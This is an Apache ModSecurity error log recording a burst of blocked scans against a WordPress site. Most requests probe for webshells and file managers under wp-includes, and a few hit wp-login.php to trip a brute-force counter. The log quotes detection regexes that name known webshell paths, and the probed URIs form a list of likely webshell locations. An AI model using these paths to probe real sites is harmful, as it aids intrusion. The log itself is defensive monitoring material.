[Mon Apr 13 16:17:02.787296 2026] [:error] [pid 57183:tid 57191] [client 45.130.202.97:32817] [client 45.130.202.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "adymfjDO3t8R5NaxzYSxrwAAAUY"]
[Mon Apr 13 16:17:03.996444 2026] [:error] [pid 9314:tid 9317] [client 45.130.202.107:34771] [client 45.130.202.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adymf2_r4W8fX2GWyGSxIgAAAYE"]
[Mon Apr 13 16:17:04.772380 2026] [:error] [pid 9314:tid 9326] [client 45.130.202.59:25661] [client 45.130.202.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adymgG_r4W8fX2GWyGSxJgAAAYo"]
[Mon Apr 13 16:17:05.618188 2026] [:error] [pid 7228:tid 7243] [client 45.130.202.75:62305] [client 45.130.202.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adymgQEnn1dQrOSHHNVIfwAAAQ0"]
[Mon Apr 13 16:17:07.603057 2026] [:error] [pid 7228:tid 7236] [client 45.130.202.101:27101] [client 45.130.202.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adymgwEnn1dQrOSHHNVIiQAAAQY"]
[Mon Apr 13 16:17:08.331129 2026] [:error] [pid 63406:tid 63430] [client 45.130.202.105:39465] [client 45.130.202.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adymhLHZEIkQ0Zmgp5rurwAAANM"]
[Mon Apr 13 16:17:09.386359 2026] [:error] [pid 63310:tid 63356] [client 45.130.202.85:55003] [client 45.130.202.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adymhXoXpRU5ztmwPjIlegAAAEw"]
[Mon Apr 13 16:17:10.159892 2026] [:error] [pid 7228:tid 7241] [client 45.130.202.97:41337] [client 45.130.202.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adymhgEnn1dQrOSHHNVIjQAAAQs"]
[Mon Apr 13 16:17:11.623467 2026] [:error] [pid 63311:tid 63371] [client 45.130.202.75:47639] [client 45.130.202.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adymh6HjrGN1MqBCVFnDUwAAAIA"]
[Mon Apr 13 16:17:12.340775 2026] [:error] [pid 63311:tid 63376] [client 45.130.202.98:42835] [client 45.130.202.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adymiKHjrGN1MqBCVFnDVgAAAIU"]
[Mon Apr 13 16:17:13.079425 2026] [:error] [pid 63310:tid 63348] [client 45.130.202.65:27969] [client 45.130.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adymiXoXpRU5ztmwPjIlhwAAAEQ"]
[Mon Apr 13 16:17:13.581971 2026] [:error] [pid 57183:tid 57185] [client 45.130.202.57:65203] [client 45.130.202.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adymiTDO3t8R5NaxzYSxzQAAAUA"]
[Mon Apr 13 16:17:14.061598 2026] [:error] [pid 63310:tid 63345] [client 45.130.202.63:29427] [client 45.130.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adyminoXpRU5ztmwPjIligAAAEE"]
[Mon Apr 13 16:17:15.272145 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.80:32561] [client 45.130.202.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adymi7HZEIkQ0Zmgp5ru0AAAAMo"]
[Mon Apr 13 16:17:15.747148 2026] [:error] [pid 57183:tid 57197] [client 45.130.202.76:26329] [client 45.130.202.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adymizDO3t8R5NaxzYSx1gAAAUw"]
[Mon Apr 13 16:17:16.228610 2026] [:error] [pid 63406:tid 63411] [client 45.130.202.90:20135] [client 45.130.202.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adymjLHZEIkQ0Zmgp5ru0wAAAMA"]
[Mon Apr 13 16:17:18.706985 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.69:52281] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adymjrHZEIkQ0Zmgp5ru5AAAAMo"]
[Mon Apr 13 16:17:19.928701 2026] [:error] [pid 63310:tid 63365] [client 45.130.202.67:62285] [client 45.130.202.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.67, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adymj3oXpRU5ztmwPjIlpAAAAFU"]
[Mon Apr 13 16:17:23.002880 2026] [:error] [pid 63310:tid 63355] [client 45.130.202.67:62285] [client 45.130.202.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adymk3oXpRU5ztmwPjIluAAAAEs"]
[Mon Apr 13 16:17:23.993879 2026] [:error] [pid 7228:tid 7239] [client 45.130.202.106:29371] [client 45.130.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.106, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adymkwEnn1dQrOSHHNVInQAAAQk"]
[Mon Apr 13 16:17:24.488972 2026] [:error] [pid 7228:tid 7249] [client 45.130.202.106:29371] [client 45.130.202.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "adymlAEnn1dQrOSHHNVInwAAARM"]
[Mon Apr 13 16:17:27.105045 2026] [:error] [pid 57183:tid 57192] [client 45.130.202.109:35909] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adymlzDO3t8R5NaxzYSyDgAAAUc"]
[Mon Apr 13 16:17:29.612262 2026] [:error] [pid 57183:tid 57192] [client 45.130.202.85:44387] [client 45.130.202.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adymmTDO3t8R5NaxzYSyGwAAAUc"]
[Mon Apr 13 16:17:30.640485 2026] [:error] [pid 63311:tid 63379] [client 45.130.202.58:36465] [client 45.130.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adymmqHjrGN1MqBCVFnDaQAAAIg"]
[Mon Apr 13 16:17:31.872207 2026] [:error] [pid 63310:tid 63368] [client 45.130.202.91:57227] [client 45.130.202.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.91, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adymm3oXpRU5ztmwPjIl0AAAAFg"]
[Mon Apr 13 16:17:32.122068 2026] [:error] [pid 63310:tid 63351] [client 45.130.202.91:57227] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adymnHoXpRU5ztmwPjIl0wAAAEc"]
[Mon Apr 13 16:17:37.252842 2026] [:error] [pid 57183:tid 57192] [client 45.130.202.103:32663] [client 45.130.202.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adymoTDO3t8R5NaxzYSyUAAAAUc"]
[Mon Apr 13 16:17:38.532844 2026] [:error] [pid 63406:tid 63430] [client 45.130.202.95:45759] [client 45.130.202.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.95, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adymorHZEIkQ0Zmgp5rvNAAAANM"]
[Mon Apr 13 16:17:39.609661 2026] [:error] [pid 63406:tid 63431] [client 45.130.202.95:45759] [client 45.130.202.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adymo7HZEIkQ0Zmgp5rvOAAAANQ"]
[Mon Apr 13 16:17:40.590584 2026] [:error] [pid 7228:tid 7244] [client 45.130.202.80:23603] [client 45.130.202.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adympAEnn1dQrOSHHNVIqgAAAQ4"]
[Mon Apr 13 16:17:41.768971 2026] [:error] [pid 7228:tid 7242] [client 45.130.202.100:36029] [client 45.130.202.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adympQEnn1dQrOSHHNVIsgAAAQw"]
[Mon Apr 13 16:17:42.999483 2026] [:error] [pid 9314:tid 9319] [client 45.130.202.82:54785] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adympm_r4W8fX2GWyGSxSQAAAYM"]
[Mon Apr 13 16:17:43.491034 2026] [:error] [pid 7228:tid 7241] [client 45.130.202.90:58097] [client 45.130.202.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adympwEnn1dQrOSHHNVItAAAAQs"]
[Mon Apr 13 16:17:45.257251 2026] [:error] [pid 9314:tid 9320] [client 45.130.202.107:23785] [client 45.130.202.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adymqW_r4W8fX2GWyGSxVQAAAYQ"]
[Mon Apr 13 16:17:46.011472 2026] [:error] [pid 9314:tid 9327] [client 45.130.202.87:54887] [client 45.130.202.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adymqm_r4W8fX2GWyGSxWwAAAYs"]
[Mon Apr 13 16:17:47.264629 2026] [:error] [pid 63406:tid 63414] [client 45.130.202.109:30527] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adymq7HZEIkQ0Zmgp5rvTAAAAMM"]
[Mon Apr 13 16:17:48.497385 2026] [:error] [pid 57183:tid 57208] [client 45.130.202.78:45729] [client 45.130.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adymrDDO3t8R5NaxzYSyYgAAAVc"]
[Mon Apr 13 16:17:49.512674 2026] [:error] [pid 57183:tid 57202] [client 45.130.202.82:47793] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "adymrTDO3t8R5NaxzYSyawAAAVE"]
[Mon Apr 13 16:17:50.750023 2026] [:error] [pid 63406:tid 63413] [client 45.130.202.96:30873] [client 45.130.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adymrrHZEIkQ0Zmgp5rvVwAAAMI"]
[Mon Apr 13 16:17:52.995942 2026] [:error] [pid 63406:tid 63430] [client 45.130.202.91:64317] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adymsLHZEIkQ0Zmgp5rvkAAAANM"]
[Mon Apr 13 16:17:53.474502 2026] [:error] [pid 57183:tid 57196] [client 45.130.202.57:57501] [client 45.130.202.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adymsTDO3t8R5NaxzYSykQAAAUs"]
[Mon Apr 13 16:17:53.983247 2026] [:error] [pid 9314:tid 9326] [client 45.130.202.75:36225] [client 45.130.202.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adymsW_r4W8fX2GWyGSxdAAAAYo"]
[Mon Apr 13 16:17:54.470838 2026] [:error] [pid 9314:tid 9318] [client 45.130.202.69:62237] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adymsm_r4W8fX2GWyGSxdwAAAYI"]
[Mon Apr 13 16:17:55.196478 2026] [:error] [pid 63406:tid 63417] [client 45.130.202.59:28385] [client 45.130.202.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adyms7HZEIkQ0Zmgp5rvmAAAAMY"]
[Mon Apr 13 16:17:55.691705 2026] [:error] [pid 63309:tid 63315] [client 45.130.202.82:50019] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adyms0pIKZ10weXpf0X50wAAAAI"]
[Mon Apr 13 16:17:56.776246 2026] [:error] [pid 7228:tid 7250] [client 45.130.202.108:41045] [client 45.130.202.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adymtAEnn1dQrOSHHNVIvAAAARQ"]
[Mon Apr 13 16:17:57.359772 2026] [:error] [pid 63311:tid 63385] [client 45.130.202.61:50101] [client 45.130.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adymtaHjrGN1MqBCVFnDsQAAAI4"]
[Mon Apr 13 16:17:57.855475 2026] [:error] [pid 63406:tid 63412] [client 45.130.202.80:50429] [client 45.130.202.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adymtbHZEIkQ0Zmgp5rvnwAAAME"]
[Mon Apr 13 16:17:58.334372 2026] [:error] [pid 63311:tid 63375] [client 45.130.202.89:28809] [client 45.130.202.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adymtqHjrGN1MqBCVFnDtQAAAIQ"]
[Mon Apr 13 16:17:59.064058 2026] [:error] [pid 63310:tid 63363] [client 45.130.202.60:26731] [client 45.130.202.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adymt3oXpRU5ztmwPjIl9gAAAFM"]
[Mon Apr 13 16:18:00.039503 2026] [:error] [pid 63311:tid 63389] [client 45.130.202.101:33207] [client 45.130.202.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adymuKHjrGN1MqBCVFnDvwAAAJI"]
[Mon Apr 13 16:18:01.616475 2026] [:error] [pid 7228:tid 7249] [client 45.130.202.87:38831] [client 45.130.202.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adymuQEnn1dQrOSHHNVIxAAAARM"]
